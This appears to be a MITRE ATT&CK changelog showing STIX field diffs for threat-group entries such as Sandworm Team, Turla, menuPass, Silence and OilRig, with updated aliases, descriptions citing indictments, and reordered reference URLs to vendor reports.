| external_references[10]['description'] | Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017. | Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017. |
| external_references[10]['url'] | https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html | https://pan-unit42.github.io/playbook_viewer/ |
| external_references[11]['source_name'] | Unit 42 QUADAGENT July 2018 | FireEye APT34 Dec 2017 |
| external_references[11]['description'] | Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018. | Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017. |
| external_references[11]['url'] | https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/ | https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html |
| external_references[12]['source_name'] | Crowdstrike Helix Kitten Nov 2018 | Unit 42 QUADAGENT July 2018 |
| external_references[12]['description'] | Meyers, A. (2018, November 27). Meet CrowdStrike’s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018. | Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018. |
| external_references[12]['url'] | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/ | https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/ |
| x_mitre_version | 1.4 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | COBALT GYPSY | |
| external_references | {'source_name': 'Secureworks COBALT GYPSY Threat Profile', 'description': 'Secureworks. (n.d.). COBALT GYPSY Threat Profile. Retrieved April 14, 2021.', 'url': 'https://www.secureworks.com/research/threat-profiles/cobalt-gypsy'} | |
| external_references | {'source_name': 'Crowdstrike Helix Kitten Nov 2018', 'description': 'Meyers, A. (2018, November 27). Meet CrowdStrike’s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.', 'url': 'https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/'} |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Sandworm Team](https://attack.mitre.org/groups/G0034) is a | t | 1 | [Sandworm Team](https://attack.mitre.org/groups/G0034) is a |
| > | destructive Russian threat group that has been attributed to | > | destructive threat group that has been attributed to Russia' | ||
| > | Russian GRU Unit 74455 by the U.S. Department of Justice an | > | s General Staff Main Intelligence Directorate (GRU) Main Cen | ||
| > | d U.K. National Cyber Security Centre. [Sandworm Team](https | > | ter for Special Technologies (GTsST) military unit 74455.(Ci | ||
| > | ://attack.mitre.org/groups/G0034)'s most notable attacks inc | > | tation: US District Court Indictment GRU Unit 74455 October | ||
| > | lude the 2015 and 2016 targeting of Ukrainian electrical com | > | 2020)(Citation: UK NCSC Olympic Attacks October 2020) This g | ||
| > | panies and 2017's [NotPetya](https://attack.mitre.org/softwa | > | roup has been active since at least 2009.(Citation: iSIGHT S | ||
| > | re/S0368) attacks. [Sandworm Team](https://attack.mitre.org/ | > | andworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: U | ||
| > | groups/G0034) has been active since at least 2009.(Citation: | > | SDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020) I | ||
| > | iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Ci | > | n October 2020, the US indicted six GRU Unit 74455 officers | ||
| > | tation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb | > | associated with [Sandworm Team](https://attack.mitre.org/gro | ||
| > | 2020) | > | ups/G0034) for the following cyber operations: the 2015 and | ||
| > | 2016 attacks against Ukrainian electrical companies and gove | ||||
| > | rnment organizations, the 2017 worldwide [NotPetya](https:// | ||||
| > | attack.mitre.org/software/S0368) attack, targeting of the 20 | ||||
| > | 17 French presidential campaign, the 2018 [Olympic Destroyer | ||||
| > | ](https://attack.mitre.org/software/S0365) attack against th | ||||
| > | e Winter Olympic Games, the 2018 operation against the Organ | ||||
| > | isation for the Prohibition of Chemical Weapons, and attacks | ||||
| > | against the country of Georgia in 2018 and 2019.(Citation: | ||||
| > | US District Court Indictment GRU Unit 74455 October 2020)(Ci | ||||
| > | tation: UK NCSC Olympic Attacks October 2020) Some of these | ||||
| > | were conducted with the assistance of GRU Unit 26165, which | ||||
| > | is also referred to as [APT28](https://attack.mitre.org/grou | ||||
| > | ps/G0007).(Citation: US District Court Indictment GRU Oct 20 | ||||
| > | 18) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-04 01:56:59.493000+00:00 | 2021-04-13 13:13:09.511000+00:00 |
| description | [Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive Russian threat group that has been attributed to Russian GRU Unit 74455 by the U.S. Department of Justice and U.K. National Cyber Security Centre. [Sandworm Team](https://attack.mitre.org/groups/G0034)'s most notable attacks include the 2015 and 2016 targeting of Ukrainian electrical companies and 2017's [NotPetya](https://attack.mitre.org/software/S0368) attacks. [Sandworm Team](https://attack.mitre.org/groups/G0034) has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020) | [Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) This group has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020) In October 2020, the US indicted six GRU Unit 74455 officers associated with [Sandworm Team](https://attack.mitre.org/groups/G0034) for the following cyber operations: the 2015 and 2016 attacks against Ukrainian electrical companies and government organizations, the 2017 worldwide [NotPetya](https://attack.mitre.org/software/S0368) attack, targeting of the 2017 French presidential campaign, the 2018 [Olympic Destroyer](https://attack.mitre.org/software/S0365) attack against the Winter Olympic Games, the 2018 operation against the Organisation for the Prohibition of Chemical Weapons, and attacks against the country of Georgia in 2018 and 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) Some of these were conducted with the assistance of GRU Unit 26165, which is also referred to as [APT28](https://attack.mitre.org/groups/G0007).(Citation: US District Court Indictment GRU Oct 2018) |
| external_references[1]['description'] | (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014) | (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[2]['description'] | (Citation: Dragos ELECTRUM) | (Citation: Dragos ELECTRUM)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[3]['description'] | (Citation: NCSC Sandworm Feb 2020) | (Citation: NCSC Sandworm Feb 2020)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[4]['description'] | (Citation: Secureworks IRON VIKING ) | (Citation: Secureworks IRON VIKING )(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[5]['description'] | (Citation: NCSC Sandworm Feb 2020) | (Citation: NCSC Sandworm Feb 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[6]['description'] | Based on similarities between TTPs, malware, and targeting, Sandworm Team and Quedagh appear to refer to the same group. (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) | (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[7]['description'] | (Citation: CrowdStrike VOODOO BEAR) | (Citation: CrowdStrike VOODOO BEAR)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[8]['source_name'] | iSIGHT Sandworm 2014 | US District Court Indictment GRU Unit 74455 October 2020 |
| external_references[8]['description'] | Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017. | Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020. |
| external_references[8]['url'] | https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html | https://www.justice.gov/opa/press-release/file/1328521/download |
| external_references[9]['source_name'] | CrowdStrike VOODOO BEAR | UK NCSC Olympic Attacks October 2020 |
| external_references[9]['description'] | Meyers, A. (2018, January 19). Meet CrowdStrike’s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018. | UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020. |
| external_references[9]['url'] | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/ | https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games |
| external_references[10]['source_name'] | USDOJ Sandworm Feb 2020 | iSIGHT Sandworm 2014 |
| external_references[10]['description'] | Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020. | Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017. |
| external_references[10]['url'] | https://www.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia/ | https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html |
| external_references[11]['source_name'] | NCSC Sandworm Feb 2020 | CrowdStrike VOODOO BEAR |
| external_references[11]['description'] | NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020. | Meyers, A. (2018, January 19). Meet CrowdStrike’s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018. |
| external_references[11]['url'] | https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/ |
| external_references[12]['source_name'] | F-Secure BlackEnergy 2014 | USDOJ Sandworm Feb 2020 |
| external_references[12]['description'] | F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016. | Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020. |
| external_references[12]['url'] | https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf | https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.html |
| external_references[13]['source_name'] | InfoSecurity Sandworm Oct 2014 | NCSC Sandworm Feb 2020 |
| external_references[13]['description'] | Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian ‘Sandworm’ Hackers. Retrieved October 6, 2017. | NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020. |
| external_references[13]['url'] | https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/ | https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory |
| external_references[14]['source_name'] | Dragos ELECTRUM | US District Court Indictment GRU Oct 2018 |
| external_references[14]['description'] | Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020. | Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020. |
| external_references[14]['url'] | https://www.dragos.com/resource/electrum/ | https://www.justice.gov/opa/page/file/1098481/download |
| external_references[15]['source_name'] | Secureworks IRON VIKING | F-Secure BlackEnergy 2014 |
| external_references[15]['description'] | Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020. | F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016. |
| external_references[15]['url'] | https://www.secureworks.com/research/threat-profiles/iron-viking | https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'InfoSecurity Sandworm Oct 2014', 'description': 'Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian ‘Sandworm’ Hackers. Retrieved October 6, 2017.', 'url': 'https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/'} | |
| external_references | {'source_name': 'Dragos ELECTRUM', 'description': 'Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020.', 'url': 'https://www.dragos.com/resource/electrum/'} | |
| external_references | {'source_name': 'Secureworks IRON VIKING ', 'description': 'Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020.', 'url': 'https://www.secureworks.com/research/threat-profiles/iron-viking'} |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 20:30:06.863000+00:00 | 2021-04-26 14:11:10.724000+00:00 |
| external_references[2]['source_name'] | Cyber Forensicator Silence Jan 2019 | WHISPER SPIDER |
| external_references[2]['description'] | Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019. | (Citation: Crowdstrike GTR2020 Mar 2020) |
| external_references[3]['source_name'] | SecureList Silence Nov 2017 | Cyber Forensicator Silence Jan 2019 |
| external_references[3]['description'] | GReAT. (2017, November 1). Silence – a new Trojan attacking financial organizations. Retrieved May 24, 2019. | Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019. |
| external_references[3]['url'] | https://securelist.com/the-silence/83009/ | https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/ |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | WHISPER SPIDER | |
| external_references | {'source_name': 'SecureList Silence Nov 2017', 'description': 'GReAT. (2017, November 1). Silence – a new Trojan attacking financial organizations. Retrieved May 24, 2019.', 'url': 'https://securelist.com/the-silence/83009/'} | |
| external_references | {'source_name': 'Crowdstrike GTR2020 Mar 2020', 'description': 'Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.', 'url': 'https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf'} |
Current version: 2.0
Version changed from: 1.4 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://securelist.com/the-epic-turla-operation/65545/ | |
| external_references | https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 20:25:26.398000+00:00 | 2021-04-26 23:50:51.333000+00:00 |
| external_references[2]['source_name'] | Waterbug | Group 88 |
| external_references[2]['description'] | Based similarity in TTPs and malware used, Turla and Waterbug appear to be the same group.(Citation: Symantec Waterbug) | (Citation: Leonardo Turla Penquin May 2020) |
| external_references[3]['source_name'] | WhiteBear | Belugasturgeon |
| external_references[3]['description'] | WhiteBear is a designation used by Securelist to describe a cluster of activity that has overlaps with activity described by others as Turla, but appears to have a separate focus.(Citation: Securelist WhiteBear Aug 2017) | (Citation: Accenture HyperStack October 2020) |
| external_references[4]['source_name'] | VENOMOUS BEAR | Waterbug |
| external_references[4]['description'] | (Citation: CrowdStrike VENOMOUS BEAR) | Based similarity in TTPs and malware used, Turla and Waterbug appear to be the same group.(Citation: Symantec Waterbug) |
| external_references[5]['source_name'] | Snake | WhiteBear |
| external_references[5]['description'] | (Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla PowerShell May 2019) | WhiteBear is a designation used by Securelist to describe a cluster of activity that has overlaps with activity described by others as Turla, but appears to have a separate focus.(Citation: Securelist WhiteBear Aug 2017) |
| external_references[6]['source_name'] | Krypton | VENOMOUS BEAR |
| external_references[7]['source_name'] | Kaspersky Turla | Snake |
| external_references[7]['description'] | Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014. | (Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla PowerShell May 2019) |
| external_references[8]['source_name'] | ESET Gazer Aug 2017 | Krypton |
| external_references[8]['description'] | ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017. | (Citation: CrowdStrike VENOMOUS BEAR) |
| external_references[9]['source_name'] | CrowdStrike VENOMOUS BEAR | Kaspersky Turla |
| external_references[9]['description'] | Meyers, A. (2018, March 12). Meet CrowdStrike’s Adversary of the Month for March: VENOMOUS BEAR. Retrieved May 16, 2018. | Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014. |
| external_references[9]['url'] | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-march-venomous-bear/ | https://securelist.com/the-epic-turla-operation/65545/ |
| external_references[10]['source_name'] | ESET Turla Mosquito Jan 2018 | ESET Gazer Aug 2017 |
| external_references[10]['description'] | ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018. | ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017. |
| external_references[10]['url'] | https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf | https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf |
| external_references[11]['source_name'] | Symantec Waterbug | CrowdStrike VENOMOUS BEAR |
| external_references[11]['description'] | Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015. | Meyers, A. (2018, March 12). Meet CrowdStrike’s Adversary of the Month for March: VENOMOUS BEAR. Retrieved May 16, 2018. |
| external_references[11]['url'] | https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1 | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-march-venomous-bear/ |
| external_references[12]['source_name'] | Securelist WhiteBear Aug 2017 | ESET Turla Mosquito Jan 2018 |
| external_references[12]['description'] | Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017. | ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018. |
| external_references[12]['url'] | https://securelist.com/introducing-whitebear/81638/ | https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf |
| external_references[13]['source_name'] | ESET Turla PowerShell May 2019 | Leonardo Turla Penquin May 2020 |
| external_references[13]['description'] | Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019. | Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021. |
| external_references[13]['url'] | https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/ | https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf |
| x_mitre_version | 1.4 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Group 88 | |
| aliases | Belugasturgeon | |
| external_references | {'source_name': 'Accenture HyperStack October 2020', 'description': 'Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020.', 'url': 'https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity'} | |
| external_references | {'source_name': 'Symantec Waterbug', 'description': 'Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015.', 'url': 'https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1'} | |
| external_references | {'source_name': 'Securelist WhiteBear Aug 2017', 'description': "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", 'url': 'https://securelist.com/introducing-whitebear/81638/'} | |
| external_references | {'source_name': 'ESET Turla PowerShell May 2019', 'description': 'Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.', 'url': 'https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/'} |
Current version: 2.0
Version changed from: 1.5 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [menuPass](https://attack.mitre.org/groups/G0045) is a threa | t | 1 | [menuPass](https://attack.mitre.org/groups/G0045) is a threa |
| > | t group that appears to originate from China and has been ac | > | t group that has been active since at least 2006. Individual | ||
| > | tive since approximately 2009. The group has targeted health | > | members of [menuPass](https://attack.mitre.org/groups/G0045 | ||
| > | care, defense, aerospace, and government sectors, and has ta | > | ) are known to have acted in association with the Chinese Mi | ||
| > | rgeted Japanese victims since at least 2014. In 2016 and 201 | > | nistry of State Security's (MSS) Tianjin State Security Bure | ||
| > | 7, the group targeted managed IT service providers, manufact | > | au and worked for the Huaying Haitai Science and Technology | ||
| > | uring and mining companies, and a university. (Citation: Pal | > | Development Company.(Citation: DOJ APT10 Dec 2018)(Citation: | ||
| > | o Alto menuPass Feb 2017) (Citation: Crowdstrike CrowdCast O | > | District Court of NY APT10 Indictment December 2018) [menu | ||
| > | ct 2013) (Citation: FireEye Poison Ivy) (Citation: PWC Cloud | > | Pass](https://attack.mitre.org/groups/G0045) has targeted he | ||
| > | Hopper April 2017) (Citation: FireEye APT10 April 2017) (Ci | > | althcare, defense, aerospace, finance, maritime, biotechnolo | ||
| > | tation: DOJ APT10 Dec 2018) | > | gy, energy, and government sectors globally, with an emphasi | ||
| > | s on Japanese organizations. In 2016 and 2017, the group is | ||||
| > | known to have targeted managed IT service providers (MSPs), | ||||
| > | manufacturing and mining companies, and a university.(Citati | ||||
| > | on: Palo Alto menuPass Feb 2017)(Citation: Crowdstrike Crowd | ||||
| > | Cast Oct 2013)(Citation: FireEye Poison Ivy)(Citation: PWC C | ||||
| > | loud Hopper April 2017)(Citation: FireEye APT10 April 2017)( | ||||
| > | Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY | ||||
| > | APT10 Indictment December 2018) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/ | |
| external_references | https://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-13 17:15:14.339000+00:00 | 2021-04-09 00:29:07.219000+00:00 |
| description | [menuPass](https://attack.mitre.org/groups/G0045) is a threat group that appears to originate from China and has been active since approximately 2009. The group has targeted healthcare, defense, aerospace, and government sectors, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university. (Citation: Palo Alto menuPass Feb 2017) (Citation: Crowdstrike CrowdCast Oct 2013) (Citation: FireEye Poison Ivy) (Citation: PWC Cloud Hopper April 2017) (Citation: FireEye APT10 April 2017) (Citation: DOJ APT10 Dec 2018) | [menuPass](https://attack.mitre.org/groups/G0045) is a threat group that has been active since at least 2006. Individual members of [menuPass](https://attack.mitre.org/groups/G0045) are known to have acted in association with the Chinese Ministry of State Security's (MSS) Tianjin State Security Bureau and worked for the Huaying Haitai Science and Technology Development Company.(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018) [menuPass](https://attack.mitre.org/groups/G0045) has targeted healthcare, defense, aerospace, finance, maritime, biotechnology, energy, and government sectors globally, with an emphasis on Japanese organizations. In 2016 and 2017, the group is known to have targeted managed IT service providers (MSPs), manufacturing and mining companies, and a university.(Citation: Palo Alto menuPass Feb 2017)(Citation: Crowdstrike CrowdCast Oct 2013)(Citation: FireEye Poison Ivy)(Citation: PWC Cloud Hopper April 2017)(Citation: FireEye APT10 April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018) |
| external_references[1]['description'] | (Citation: Palo Alto menuPass Feb 2017) | (Citation: Palo Alto menuPass Feb 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018) |
| external_references[2]['source_name'] | Stone Panda | Cicada |
| external_references[2]['description'] | (Citation: Palo Alto menuPass Feb 2017) (Citation: Accenture Hogfish April 2018) | (Citation: Symantec Cicada November 2020) |
| external_references[3]['source_name'] | APT10 | POTASSIUM |
| external_references[3]['description'] | (Citation: Palo Alto menuPass Feb 2017) (Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018) | (Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018) |
| external_references[4]['source_name'] | Red Apollo | Stone Panda |
| external_references[4]['description'] | (Citation: PWC Cloud Hopper April 2017) | (Citation: Palo Alto menuPass Feb 2017)(Citation: Accenture Hogfish April 2018)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)(Citation: Symantec Cicada November 2020) |
| external_references[5]['source_name'] | CVNX | APT10 |
| external_references[5]['description'] | (Citation: PWC Cloud Hopper April 2017) | (Citation: Palo Alto menuPass Feb 2017)(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)(Citation: DOJ APT10 Dec 2018)(Citation: Symantec Cicada November 2020) |
| external_references[6]['source_name'] | HOGFISH | Red Apollo |
| external_references[6]['description'] | (Citation: Accenture Hogfish April 2018) | (Citation: PWC Cloud Hopper April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018) |
| external_references[7]['source_name'] | Palo Alto menuPass Feb 2017 | CVNX |
| external_references[7]['description'] | Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017. | (Citation: PWC Cloud Hopper April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018) |
| external_references[8]['source_name'] | Crowdstrike CrowdCast Oct 2013 | HOGFISH |
| external_references[8]['description'] | Crowdstrike. (2013, October 16). CrowdCasts Monthly: You Have an Adversary Problem. Retrieved March 1, 2017. | (Citation: Accenture Hogfish April 2018) |
| external_references[9]['source_name'] | FireEye Poison Ivy | DOJ APT10 Dec 2018 |
| external_references[9]['description'] | FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014. | United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019. |
| external_references[9]['url'] | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf | https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion |
| external_references[10]['source_name'] | PWC Cloud Hopper April 2017 | District Court of NY APT10 Indictment December 2018 |
| external_references[10]['description'] | PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017. | US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020. |
| external_references[10]['url'] | https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf | https://www.justice.gov/opa/page/file/1122671/download |
| external_references[11]['source_name'] | FireEye APT10 April 2017 | Palo Alto menuPass Feb 2017 |
| external_references[11]['description'] | FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017. | Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017. |
| external_references[11]['url'] | https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html | http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/ |
| external_references[12]['source_name'] | DOJ APT10 Dec 2018 | Crowdstrike CrowdCast Oct 2013 |
| external_references[12]['description'] | United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019. | Crowdstrike. (2013, October 16). CrowdCasts Monthly: You Have an Adversary Problem. Retrieved March 1, 2017. |
| external_references[12]['url'] | https://www.justice.gov/opa/press-release/file/1121706/download | https://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem |
| external_references[13]['source_name'] | Accenture Hogfish April 2018 | FireEye Poison Ivy |
